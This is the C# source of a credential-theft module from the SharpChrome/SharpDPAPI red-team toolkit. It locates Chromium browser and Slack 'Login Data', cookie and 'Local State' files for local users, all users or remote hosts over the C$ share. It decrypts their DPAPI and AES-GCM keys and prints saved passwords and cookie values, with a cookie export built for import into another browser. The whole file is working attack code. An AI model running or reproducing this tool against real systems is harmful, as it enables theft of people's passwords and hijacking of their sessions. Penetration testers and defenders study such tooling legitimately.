Files

978 lines
46 KiB
C#
Executable File

using System;
using System.Management;
using System.Data;
using System.Security.Cryptography;
using System.IO;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Text;
using System.Text.RegularExpressions;
using SQLite;
using Microsoft.Win32;
namespace SharpChrome
{
class Chrome
{
internal static byte[] DPAPI_HEADER = UTF8Encoding.UTF8.GetBytes("DPAPI");
internal static byte[] DPAPI_CHROME_UNKV10 = UTF8Encoding.UTF8.GetBytes("v10");
internal const int AES_BLOCK_SIZE = 16;
// approach adapted from @djhohnstein's https://github.com/djhohnstein/SharpChrome/ project
// but using this CSHARP-SQLITE version https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp
public static void TriageChromeLogins(Dictionary<string, string> MasterKeys, string computerName = "", string userFolder = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome", bool quiet = false)
{
// triage all Chromium 'Login Data' files we can reach
List<string> userDirectories = new List<string>();
if (!String.IsNullOrEmpty(computerName))
{
// if we're triaging a remote computer, check connectivity first
if (!SharpDPAPI.Helpers.TestRemote(computerName))
{
return;
}
if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else
{
// Assume C$ (vast majority of cases)
string userDirectoryBase = String.Format("\\\\{0}\\C$\\Users\\", computerName);
userDirectories.AddRange(Directory.GetDirectories(userDirectoryBase));
}
}
else if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else if (SharpDPAPI.Helpers.IsHighIntegrity())
{
if ($"{System.Security.Principal.WindowsIdentity.GetCurrent().User}" == "S-1-5-18")
{
// if we're SYSTEM
if (MasterKeys.Count > 0)
{
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
else
{
if (!quiet)
{
Console.WriteLine("\r\n[!] Running as SYSTEM but no masterkeys supplied!");
}
return;
}
}
else if (MasterKeys.Count == 0)
{
// if we're elevated but not SYSTEM, and no masterkeys are supplied, assume we're triaging just the current user
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Logins for current user\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
else
{
// otherwise we're elevated and have masterkeys supplied, so assume we're triaging all users
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
}
else
{
// not elevated, no user folder specified, so triage current user
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Logins for current user\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
foreach (string userDirectory in userDirectories)
{
var loginDataPath = "";
var aesStateKeyPath = "";
if (browser.ToLower() == "chrome")
{
loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", userDirectory);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "edge")
{
loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", userDirectory);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "brave")
{
loginDataPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data", userDirectory);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", userDirectory);
}
else
{
Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers.");
return;
}
byte[] aesStateKey = null;
if (!String.IsNullOrEmpty(stateKey))
{
aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
}
else if (File.Exists(aesStateKeyPath))
{
// try to decrypt the new v80+ AES state file key, if it exists
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect, quiet);
}
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey, quiet);
}
}
public static void TriageChromeCookies(Dictionary<string, string> MasterKeys, string computerName = "", string userFolder = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome", bool quiet = false)
{
// triage all Chromium 'Login Data' files we can reach
List<string> userDirectories = new List<string>();
if (!String.IsNullOrEmpty(computerName))
{
// if we're triaging a remote computer, check connectivity first
if (!SharpDPAPI.Helpers.TestRemote(computerName))
{
return;
}
if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else
{
// Assume C$ (vast majority of cases)
string userDirectoryBase = String.Format("\\\\{0}\\C$\\Users\\", computerName);
userDirectories.AddRange(Directory.GetDirectories(userDirectoryBase));
}
}
else if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else if (SharpDPAPI.Helpers.IsHighIntegrity())
{
if ($"{System.Security.Principal.WindowsIdentity.GetCurrent().User}" == "S-1-5-18")
{
// if we're SYSTEM
if (MasterKeys.Count > 0)
{
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Cookies for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
else
{
if (!quiet)
{
Console.WriteLine("\r\n[!] Running as SYSTEM but no masterkeys supplied!");
}
return;
}
}
else if (MasterKeys.Count == 0)
{
// if we're elevated but not SYSTEM, and no masterkeys are supplied, assume we're triaging just the current user
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Cookies for current user\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
else
{
// otherwise we're elevated and have masterkeys supplied, so assume we're triaging all users
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Cookies for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
}
else
{
// not elevated, no user folder specified, so triage current user
if (!quiet)
{
Console.WriteLine("\r\n[*] Triaging {0} Cookies for current user\r\n", SharpDPAPI.Helpers.Capitalize(browser));
}
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
foreach (string userDirectory in userDirectories)
{
var cookiePath = "";
var aesStateKeyPath = "";
if (browser.ToLower() == "chrome")
{
cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", userDirectory);
if (!File.Exists(cookiePath))
{
cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies", userDirectory);
}
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "edge")
{
cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", userDirectory);
if (!File.Exists(cookiePath))
{
cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies", userDirectory);
}
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "brave")
{
cookiePath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies", userDirectory);
if (!File.Exists(cookiePath))
{
cookiePath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies", userDirectory);
}
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", userDirectory);
}
else if (browser.ToLower() == "slack")
{
cookiePath = String.Format("{0}\\AppData\\Roaming\\Slack\\Network\\Cookies", userDirectory);
aesStateKeyPath = String.Format("{0}\\AppData\\Roaming\\Slack\\Local State", userDirectory);
}
else
{
Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers.");
return;
}
byte[] aesStateKey = null;
if (!String.IsNullOrEmpty(stateKey))
{
aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
}
else if (File.Exists(aesStateKeyPath))
{
// try to decrypt the new v80+ AES state file key, if it exists
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect, quiet);
}
ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey, quiet);
}
}
public static void TriageStateKeys(Dictionary<string, string> MasterKeys, string computerName = "", bool unprotect = false, string target = "", string userFolder = "")
{
List<string> aesKeyPaths = new List<string>();
// triage all Chromium state keys we can reach
List<string> userDirectories = new List<string>();
if (!String.IsNullOrEmpty(computerName))
{
// if we're triaging a remote computer, check connectivity first
if (!SharpDPAPI.Helpers.TestRemote(computerName))
{
return;
}
if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else
{
// Assume C$ (vast majority of cases)
string userDirectoryBase = String.Format("\\\\{0}\\C$\\Users\\", computerName);
userDirectories.AddRange(Directory.GetDirectories(userDirectoryBase));
}
}
else if (File.Exists(target))
{
aesKeyPaths.Add(target);
}
else if (!String.IsNullOrEmpty(userFolder))
{
// if we have a user folder as the target to triage
userDirectories.Add(userFolder);
}
else if (SharpDPAPI.Helpers.IsHighIntegrity())
{
if ($"{System.Security.Principal.WindowsIdentity.GetCurrent().User}" == "S-1-5-18")
{
// if we're SYSTEM
if (MasterKeys.Count > 0)
{
Console.WriteLine("[*] Triaging Chromium state keys for ALL users\r\n");
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
else
{
Console.WriteLine("\r\n[!] Running as SYSTEM but no masterkeys supplied!");
return;
}
}
else if (MasterKeys.Count == 0)
{
// if we're elevated but not SYSTEM, and no masterkeys are supplied, assume we're triaging just the current user
Console.WriteLine("[*] Triaging Chromium state keys for current user\r\n");
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
else
{
// otherwise we're elevated and have masterkeys supplied, so assume we're triaging all users
Console.WriteLine("[*] Triaging Chromium state keys for ALL users\r\n");
userDirectories = SharpDPAPI.Helpers.GetUserFolders();
}
}
else
{
// not elevated, no user folder specified, so triage current user
Console.WriteLine("[*] Triaging Chromium state keys for current user\r\n");
userDirectories.Add(System.Environment.GetEnvironmentVariable("USERPROFILE"));
unprotect = true;
}
foreach (string userDirectory in userDirectories)
{
aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State");
aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State");
aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State");
aesKeyPaths.Add($"{userDirectory}\\AppData\\Roaming\\Slack\\Local State");
}
foreach (var aesKeyPath in aesKeyPaths)
{
if (File.Exists(aesKeyPath))
{
byte[] aesStateKey = GetStateKey(MasterKeys, aesKeyPath, unprotect, false);
}
}
}
public static void ParseChromeLogins(Dictionary<string, string> MasterKeys, string loginDataFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, byte[] aesStateKey = null, bool quiet = false)
{
// takes an individual 'Login Data' file path and performs decryption/triage on it
if (!File.Exists(loginDataFilePath))
{
return;
}
BCrypt.SafeAlgorithmHandle hAlg = null;
BCrypt.SafeKeyHandle hKey = null;
if (aesStateKey != null)
{
// initialize the BCrypt key using the new DPAPI decryption method
DPAPIChromeAlgKeyFromRaw(aesStateKey, out hAlg, out hKey);
}
// convert to a file:/// uri path type so we can do lockless opening
// ref - https://github.com/gentilkiwi/mimikatz/pull/199
var uri = new System.Uri(loginDataFilePath);
string loginDataFilePathUri = String.Format("{0}?nolock=1", uri.AbsoluteUri);
bool someResults = false;
SQLiteConnection database = null;
try
{
database = new SQLiteConnection(loginDataFilePathUri, SQLiteOpenFlags.ReadOnly | SQLiteOpenFlags.OpenUri, false);
}
catch (Exception e)
{
Console.WriteLine("[X] {0}", e.InnerException.Message);
return;
}
if (!displayFormat.Equals("table") && !displayFormat.Equals("csv"))
{
Console.WriteLine("\r\n[X] Invalid format: {0}", displayFormat);
return;
}
string query = "SELECT signon_realm, origin_url, username_value, password_value, times_used, cast(date_created as text) as date_created FROM logins";
List<SQLiteQueryRow> results = database.Query2(query, false);
foreach (SQLiteQueryRow row in results)
{
byte[] passwordBytes = (byte[])row.column[3].Value;
byte[] decBytes = null;
// decrypt the password bytes using masterkeys or CryptUnprotectData()
if (HasV10Header(passwordBytes))
{
if (aesStateKey != null)
{
// using the new DPAPI decryption method
decBytes = DecryptAESChromeBlob(passwordBytes, hAlg, hKey);
if (decBytes == null)
{
continue;
}
}
else
{
decBytes = Encoding.ASCII.GetBytes(String.Format("--AES STATE KEY NEEDED--"));
}
}
else
{
// using the old method
decBytes = SharpDPAPI.Dpapi.DescribeDPAPIBlob(passwordBytes, MasterKeys, "chrome", unprotect);
}
string password = Encoding.ASCII.GetString(decBytes);
DateTime dateCreated = SharpDPAPI.Helpers.ConvertToDateTime(row.column[5].Value.ToString());
if ((password != String.Empty) || showAll)
{
if (displayFormat.Equals("table"))
{
if (!someResults)
{
Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath);
}
someResults = true;
Console.WriteLine("URL : {0} ({1})", row.column[0].Value, row.column[1].Value);
Console.WriteLine("Created : {0}", dateCreated);
Console.WriteLine("TimesUsed : {0}", row.column[4].Value);
Console.WriteLine("Username : {0}", row.column[2].Value);
Console.WriteLine("Password : {0}", password);
Console.WriteLine();
}
else
{
if (!someResults)
{
if (!quiet)
{
Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath);
}
else
{
Console.WriteLine("SEP=,");
}
Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password");
}
someResults = true;
Console.WriteLine("{0},{1},{2},{3},{4},{5},{6}",
SharpDPAPI.Helpers.StringToCSVCell(loginDataFilePath),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[0].Value)),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[1].Value)),
SharpDPAPI.Helpers.StringToCSVCell(dateCreated.ToString()),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[5].Value)),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[2].Value)),
SharpDPAPI.Helpers.StringToCSVCell(password));
}
}
}
database.Close();
}
public static void ParseChromeCookies(Dictionary<string, string> MasterKeys, string cookieFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, byte[] aesStateKey = null, bool quiet = false)
{
// takes an individual Cookies file path and performs decryption/triage on it
if (!File.Exists(cookieFilePath))
{
return;
}
BCrypt.SafeAlgorithmHandle hAlg = null;
BCrypt.SafeKeyHandle hKey = null;
if (aesStateKey != null)
{
// initialize the BCrypt key using the new DPAPI decryption method
DPAPIChromeAlgKeyFromRaw(aesStateKey, out hAlg, out hKey);
}
// convert to a file:/// uri path type so we can do lockless opening
// ref - https://github.com/gentilkiwi/mimikatz/pull/199
var uri = new System.Uri(cookieFilePath);
string cookieFilePathUri = String.Format("{0}?nolock=1", uri.AbsoluteUri);
bool someResults = false;
SQLiteConnection database = null;
if (!displayFormat.Equals("table") && !displayFormat.Equals("csv") && !displayFormat.Equals("json"))
{
Console.WriteLine("\r\n[X] Invalid format: {0}", displayFormat);
return;
}
try
{
database = new SQLiteConnection(cookieFilePathUri, SQLiteOpenFlags.ReadOnly | SQLiteOpenFlags.OpenUri, false);
}
catch (Exception e)
{
Console.WriteLine("[X] {0}", e.InnerException.Message);
return;
}
// old - fails in some cases due to partial indexing :(
//string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, is_secure, is_httponly, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies";
// new, seems to work with partial indexing?? "/giphy table flip"
string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value, samesite, is_secure, is_httponly FROM cookies";
List<SQLiteQueryRow> results = database.Query2(query, false);
// used if cookies "never expire" for json output
DateTime epoch = new DateTime(1601, 1, 1);
TimeSpan timespan = (DateTime.Now).AddYears(100) - epoch;
long longExpiration = (long)Math.Abs(timespan.TotalSeconds * 1000000);
int idInt = 1;
foreach (SQLiteQueryRow row in results)
{
try
{
byte[] decBytes = null;
// decrypt the encrypted cookie value with whatever data/method is specified
byte[] valueBytes = (byte[])row.column[6].Value;
if (HasV10Header(valueBytes))
{
if (aesStateKey != null)
{
// using the new DPAPI decryption method
decBytes = DecryptAESChromeBlob(valueBytes, hAlg, hKey);
if (decBytes == null)
{
continue;
}
}
else
{
decBytes = Encoding.ASCII.GetBytes(String.Format("AES State Key Needed"));
}
}
else
{
// using the old method
decBytes = SharpDPAPI.Dpapi.DescribeDPAPIBlob(valueBytes, MasterKeys, "chrome", unprotect);
}
string value = Encoding.ASCII.GetString(decBytes);
DateTime dateCreated = SharpDPAPI.Helpers.ConvertToDateTime(row.column[0].Value.ToString());
DateTime expires = SharpDPAPI.Helpers.ConvertToDateTime(row.column[4].Value.ToString());
double expDateDouble = 0;
long expDate;
Int64.TryParse(row.column[4].Value.ToString(), out expDate);
int sameSite = -1;
int.TryParse(row.column[7].Value.ToString(), out sameSite);
if (!int.TryParse(row.column[8].Value.ToString(), out int isSecure))
{
throw new Exception($"Failed to parse int from {row.column[8].Value}");
}
string secureFlag = isSecure > 0 ? "true" : "false";
if (!int.TryParse(row.column[9].Value.ToString(), out int isHttpOnly))
{
throw new Exception($"Failed to parse int from {row.column[8].Value}");
}
string httpOnly = isHttpOnly > 0 ? "true" : "false";
string sameSiteString = "";
switch (sameSite)
{
case -1:
sameSiteString = "unspecified";
break;
case 0:
sameSiteString = "no_restriction";
break;
case 1:
sameSiteString = "lax";
break;
case 2:
sameSiteString = "strict";
break;
default:
throw new Exception($"Unexpected SameSite value {sameSite}");
}
// https://github.com/djhohnstein/SharpChrome/issues/1
if ((expDate / 1000000.000000000000) - 11644473600 > 0)
expDateDouble = (expDate / 1000000.000000000000000) - 11644473600;
DateTime lastAccess = SharpDPAPI.Helpers.ConvertToDateTime(row.column[5].Value.ToString());
// check conditions that will determine whether we're displaying this cookie entry
bool displayValue = false;
// if there is a regex
if (!String.IsNullOrEmpty(cookieRegex) || !String.IsNullOrEmpty(urlRegex))
{
// if we're showing all, the cookie isn't expired, or the cookie doesn't have an expiration
if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString()))
{
if (!String.IsNullOrEmpty(cookieRegex))
{
Match match = Regex.Match(row.column[2].Value.ToString(), cookieRegex, RegexOptions.IgnoreCase);
if (match.Success)
{
displayValue = true;
}
}
else if (!String.IsNullOrEmpty(urlRegex))
{
Match match = Regex.Match(row.column[1].Value.ToString(), urlRegex, RegexOptions.IgnoreCase);
if (match.Success)
{
displayValue = true;
}
}
}
}
else if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString()))
{
// if we're showing all, the cookie isn't expired, or the cookie doesn't have an expiration
displayValue = true;
}
if (displayValue)
{
if (displayFormat.Equals("table"))
{
if (!someResults)
{
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
}
someResults = true;
Console.WriteLine("Host (path) : {0} ({1})", row.column[1].Value, row.column[3].Value);
Console.WriteLine("Cookie Name : {0}", row.column[2].Value);
Console.WriteLine("Cookie Value : {0}", value);
Console.WriteLine("Created/Expires/LastAccess : {0} / {1} / {2}\r\n", dateCreated, expires, lastAccess);
}
else if (displayFormat.Equals("json"))
{
if (!someResults)
{
if (!quiet)
{
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nCookie-Editor import JSON:\r\n\r\n[\r\n{{", cookieFilePath);
}
else
{
Console.WriteLine("[\r\n{");
}
}
else
{
Console.WriteLine("},\r\n{");
}
someResults = true;
Console.WriteLine(" \"domain\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[1].Value)));
if (setneverexpire)
{
Console.WriteLine(" \"expirationDate\": {0},", longExpiration);
}
else
{
if (expDateDouble != 0)
{
Console.WriteLine(" \"expirationDate\": {0},", expDateDouble);
}
}
Console.WriteLine($" \"hostOnly\": false,");
Console.WriteLine($" \"httpOnly\": {httpOnly},");
Console.WriteLine(" \"name\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[2].Value)));
Console.WriteLine(" \"path\": \"{0}\",", String.Format("{0}", row.column[3].Value));
Console.WriteLine($" \"sameSite\": \"{sameSiteString}\",");
Console.WriteLine($" \"secure\": {secureFlag},");
Console.WriteLine(" \"session\": true,");
Console.WriteLine(" \"storeId\": \"0\",");
Console.WriteLine(" \"value\": \"{0}\"", SharpDPAPI.Helpers.CleanForJSON(value));
// Console.WriteLine($" \"");
}
else
{
// csv output
if (!someResults)
{
if (!quiet)
{
Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath);
}
else
{
Console.WriteLine("SEP=,");
}
Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc");
}
someResults = true;
Console.WriteLine("{0},{1},{2},{3},{4},{5},{6},{7}",
SharpDPAPI.Helpers.StringToCSVCell(cookieFilePath),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[1].Value)),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[3].Value)),
SharpDPAPI.Helpers.StringToCSVCell(String.Format("{0}", row.column[2].Value)),
SharpDPAPI.Helpers.StringToCSVCell(value),
SharpDPAPI.Helpers.StringToCSVCell(dateCreated.ToString()),
SharpDPAPI.Helpers.StringToCSVCell(expires.ToString()),
SharpDPAPI.Helpers.StringToCSVCell(lastAccess.ToString()));
}
}
}
catch { }
}
if (displayFormat.Equals("json") && someResults)
{
Console.WriteLine("}\r\n]\r\n");
}
database.Close();
}
// adapted from https://github.com/djhohnstein/SharpChrome/blob/e287334c0592abb02bf4f45ada23fecaa0052d48/ChromeCredentialManager.cs#L322-L344
public static string GetBase64EncryptedKey(string localStatePath)
{
// extracts the base64 encoded encrypted chrome AES state key
string localStateData = File.ReadAllText(localStatePath);
string searchTerm = "encrypted_key";
int startIndex = localStateData.IndexOf(searchTerm);
if (startIndex < 0)
return "";
int keyIndex = startIndex + searchTerm.Length + 3;
string tempVals = localStateData.Substring(keyIndex);
int stopIndex = tempVals.IndexOf('"');
if (stopIndex < 0)
return "";
string base64Key = tempVals.Substring(0, stopIndex);
return base64Key;
}
// adapted from https://github.com/djhohnstein/SharpChrome/blob/e287334c0592abb02bf4f45ada23fecaa0052d48/ChromeCredentialManager.cs#L292-L308
public static byte[] DecryptBase64StateKey(Dictionary<string, string> MasterKeys, string base64Key, bool unprotect)
{
byte[] encryptedKeyBytes = System.Convert.FromBase64String(base64Key);
if ((encryptedKeyBytes == null) || (encryptedKeyBytes.Length == 0))
{
return null;
}
if (SharpDPAPI.Helpers.ByteArrayEquals(DPAPI_HEADER, 0, encryptedKeyBytes, 0, 5))
{
byte[] encryptedKey = new byte[encryptedKeyBytes.Length - 5];
Array.Copy(encryptedKeyBytes, 5, encryptedKey, 0, encryptedKeyBytes.Length - 5);
if (unprotect)
{
byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
string decKey = BitConverter.ToString(decryptedKey);
return decryptedKey;
}
else
{
// TODO: masterkey decryption
byte[] decryptedKey = SharpDPAPI.Dpapi.DescribeDPAPIBlob(encryptedKey, MasterKeys, "chrome", unprotect);
return decryptedKey;
}
}
else
{
Console.WriteLine("[X] AES state key has unknown/non-DPAPI encoding.");
}
return null;
}
public static byte[] GetStateKey(Dictionary<string, string> MasterKeys, string localStatePath, bool unprotect, bool quiet)
{
// gets the base64 version of the encrypted state key
// and then decrypts it using either masterkeys or DPAPI functions
try
{
string b64StateKey = GetBase64EncryptedKey(localStatePath);
byte[] stateKey = DecryptBase64StateKey(MasterKeys, b64StateKey, unprotect);
if (stateKey != null)
{
if (!quiet)
{
Console.WriteLine("\r\n[*] AES state key file : {0}", localStatePath);
}
if (stateKey.Length == 32)
{
if (!quiet)
{
Console.WriteLine("[*] AES state key : {0}\r\n", BitConverter.ToString(stateKey).Replace("-", ""));
}
}
else
{
if (!quiet)
{
Console.WriteLine("[*] AES state key : {0}\r\n", Encoding.ASCII.GetString(stateKey));
}
return null;
}
}
return stateKey;
}
catch (Exception e)
{
if (($"{e.Message}".Contains("Key not valid for use in specified state")) && (unprotect))
{
Console.WriteLine($"[X] Error decrypting AES state key '{localStatePath}'\r\n [*] Likely attempt at using CryptUnprotectData() from invalid user context");
}
else
{
Console.WriteLine($"[X] Error decrypting AES state key '{localStatePath}': {e.Message}");
}
return null;
}
}
//kuhl_m_dpapi_chrome_alg_key_from_raw
// adapted from https://github.com/djhohnstein/SharpChrome/blob/e287334c0592abb02bf4f45ada23fecaa0052d48/ChromeCredentialManager.cs#L352-L371
public static bool DPAPIChromeAlgKeyFromRaw(byte[] key, out BCrypt.SafeAlgorithmHandle hAlg, out BCrypt.SafeKeyHandle hKey)
{
bool bRet = false;
hAlg = null;
hKey = null;
uint ntStatus = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, "AES", null, 0);
if (ntStatus == 0)
{
ntStatus = BCrypt.BCryptSetProperty(hAlg, "ChainingMode", "ChainingModeGCM", 0);
if (ntStatus == 0)
{
ntStatus = BCrypt.BCryptGenerateSymmetricKey(hAlg, out hKey, null, 0, key, key.Length, 0);
if (ntStatus == 0)
bRet = true;
}
}
return bRet;
}
// adapted from https://github.com/djhohnstein/SharpChrome/blob/e287334c0592abb02bf4f45ada23fecaa0052d48/ChromeCredentialManager.cs#L136-L197
// god bless you Dwight for figuring this out lol
public static byte[] DecryptAESChromeBlob(byte[] dwData, BCrypt.SafeAlgorithmHandle hAlg, BCrypt.SafeKeyHandle hKey)
{
// magic decryption happens here
byte[] dwDataOut = null;
BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info;
int dwDataOutLen;
IntPtr pData = IntPtr.Zero;
uint ntStatus;
byte[] subArrayNoV10;
int pcbResult = 0;
unsafe
{
if (SharpDPAPI.Helpers.ByteArrayEquals(dwData, 0, DPAPI_CHROME_UNKV10, 0, 3))
{
subArrayNoV10 = new byte[dwData.Length - DPAPI_CHROME_UNKV10.Length];
Array.Copy(dwData, 3, subArrayNoV10, 0, dwData.Length - DPAPI_CHROME_UNKV10.Length);
pData = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(byte)) * dwData.Length);
try
{
Marshal.Copy(dwData, 0, pData, dwData.Length);
BCrypt.BCRYPT_INIT_AUTH_MODE_INFO(out info);
info.pbNonce = (byte*)(new IntPtr(pData.ToInt64() + DPAPI_CHROME_UNKV10.Length));
info.cbNonce = 12;
info.pbTag = info.pbNonce + dwData.Length - (DPAPI_CHROME_UNKV10.Length + AES_BLOCK_SIZE); // AES_BLOCK_SIZE = 16
info.cbTag = AES_BLOCK_SIZE; // AES_BLOCK_SIZE = 16
dwDataOutLen = dwData.Length - DPAPI_CHROME_UNKV10.Length - info.cbNonce - info.cbTag;
dwDataOut = new byte[dwDataOutLen];
fixed (byte* pDataOut = dwDataOut)
{
ntStatus = BCrypt.BCryptDecrypt(hKey, info.pbNonce + info.cbNonce, dwDataOutLen, (void*)&info, null, 0, pDataOut, dwDataOutLen, out pcbResult, 0);
}
if (ntStatus != 0)
{
Console.WriteLine("[X] Error : {0}", SharpDPAPI.Interop.GetLastError());
}
}
catch (Exception ex)
{
Console.WriteLine("Exception : {0}", ex.Message);
}
finally
{
if (pData != null && pData != IntPtr.Zero)
Marshal.FreeHGlobal(pData);
}
}
else
{
Console.WriteLine("[X] Data header not equal to DPAPI_CHROME_UNKV10");
}
}
return dwDataOut;
}
public static bool HasV10Header(byte[] data)
{
return SharpDPAPI.Helpers.ByteArrayEquals(data, 0, DPAPI_CHROME_UNKV10, 0, 3);
}
}
}